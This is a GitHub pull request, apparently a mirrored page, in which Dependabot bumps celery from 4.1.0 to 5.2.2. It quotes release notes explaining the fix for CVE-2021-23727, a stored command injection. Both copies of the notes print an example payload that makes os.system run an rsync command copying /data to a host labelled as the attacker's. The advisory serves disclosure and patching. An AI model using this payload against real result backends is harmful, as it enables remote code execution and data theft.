Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Bump celery from 4.1.0 to 5.2.2#1

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to ourterms of service andprivacy statement. We’ll occasionally send you account related emails.

Already on GitHub?Sign in to your account

Open
dependabot wants to merge1 commit intomaster
base:master
Choose a base branch
Loading
fromdependabot/pip/celery-5.2.2

Conversation

dependabot[bot]
Copy link

@dependabotdependabotbot commented on behalf ofgithubJan 6, 2022

Bumpscelery from 4.1.0 to 5.2.2.

Release notes

Sourced fromcelery's releases.

5.2.2

Release date: 2021-12-26 16:30 P.M UTC+2:00

Release by: Omer Katz

  • Various documentation fixes.

  • FixCVE-2021-23727 (Stored Command Injection securityvulnerability).

    When a task fails, the failure information is serialized in thebackend. In some cases, the exception class is only importablefrom the consumer's code base. In this case, we reconstruct theexception class so that we can re-raise the error on the processwhich queried the task's result. This was introduced in#4836. Ifthe recreated exception type isn't an exception, this is asecurity issue. Without the condition included in this patch, anattacker could inject a remote code execution instruction such as:os.system("rsync /data attacker@192.168.56.100:~/data") bysetting the task's result to a failure in the result backend withthe os, the system function as the exception type and the payloadrsync /data attacker@192.168.56.100:~/data as the exceptionarguments like so:

    {"exc_module":"os",'exc_type':"system","exc_message":"rsync /data attacker@192.168.56.100:~/data"}

    According to my analysis, this vulnerability can only be exploitedif the producer delayed a task which runs long enough for theattacker to change the result mid-flight, and the producer haspolled for the task's result. The attacker would also have togain access to the result backend. The severity of this securityvulnerability is low, but we still recommend upgrading.

v5.2.1

Release date: 2021-11-16 8.55 P.M UTC+6:00

Release by: Asif Saif Uddin

  • Fix rstrip usage on bytes instance in ProxyLogger.
  • Pass logfile to ExecStop in celery.service example systemd file.
  • fix: reduce latency of AsyncResult.get under gevent (#7052)
  • Limit redis version: <4.0.0.
  • Bump min kombu version to 5.2.2.
  • Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.

... (truncated)

Changelog

Sourced fromcelery's changelog.

5.2.2

:release-date: 2021-12-26 16:30 P.M UTC+2:00:release-by: Omer Katz

  • Various documentation fixes.

  • FixCVE-2021-23727 (Stored Command Injection security vulnerability).

    When a task fails, the failure information is serialized in the backend.In some cases, the exception class is only importable from theconsumer's code base. In this case, we reconstruct the exception classso that we can re-raise the error on the process which queried thetask's result. This was introduced in#4836.If the recreated exception type isn't an exception, this is a security issue.Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:os.system("rsync /data attacker@192.168.56.100:~/data")by setting the task's result to a failure in the result backend with the os,the system function as the exception type and the payloadrsync /data attacker@192.168.56.100:~/data as the exception arguments like so:

    .. code-block:: python

      {        "exc_module": "os",        'exc_type': "system",        "exc_message": "rsync /data attacker@192.168.56.100:~/data"  }

    According to my analysis, this vulnerability can only be exploited ifthe producer delayed a task which runs long enough for theattacker to change the result mid-flight, and the producer haspolled for the task's result.The attacker would also have to gain access to the result backend.The severity of this security vulnerability is low, but we stillrecommend upgrading.

.. _version-5.2.1:

5.2.1

:release-date: 2021-11-16 8.55 P.M UTC+6:00:release-by: Asif Saif Uddin

  • Fix rstrip usage on bytes instance in ProxyLogger.
  • Pass logfile to ExecStop in celery.service example systemd file.
  • fix: reduce latency of AsyncResult.get under gevent (#7052)
  • Limit redis version: <4.0.0.
  • Bump min kombu version to 5.2.2.

... (truncated)

Commits

Dependabot compatibility score

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting@dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot merge will merge this PR after your CI passes on it
  • @dependabot squash and merge will squash and merge this PR after your CI passes on it
  • @dependabot cancel merge will cancel a previously requested merge and block automerging
  • @dependabot reopen will reopen this PR if it is closed
  • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
  • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
  • @dependabot use these labels will set the current labels as the default for future PRs for this repo and language
  • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
  • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
  • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

You can disable automated security fix PRs for this repo from theSecurity Alerts page.

Bumps [celery](https://github.com/celery/celery) from 4.1.0 to 5.2.2.- [Release notes](https://github.com/celery/celery/releases)- [Changelog](https://github.com/celery/celery/blob/master/Changelog.rst)- [Commits](celery/celery@v4.1.0...v5.2.2)---updated-dependencies:- dependency-name: celery  dependency-type: direct:production...Signed-off-by: dependabot[bot] <support@github.com>
@dependabotdependabotbot added the dependenciesPull requests that update a dependency file labelJan 6, 2022
Sign up for freeto join this conversation on GitHub. Already have an account?Sign in to comment
Reviewers
No reviews
Assignees
No one assigned
Labels
dependenciesPull requests that update a dependency file
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.

0 participants

[8]ページ先頭

©2009-2025 Movatter.jp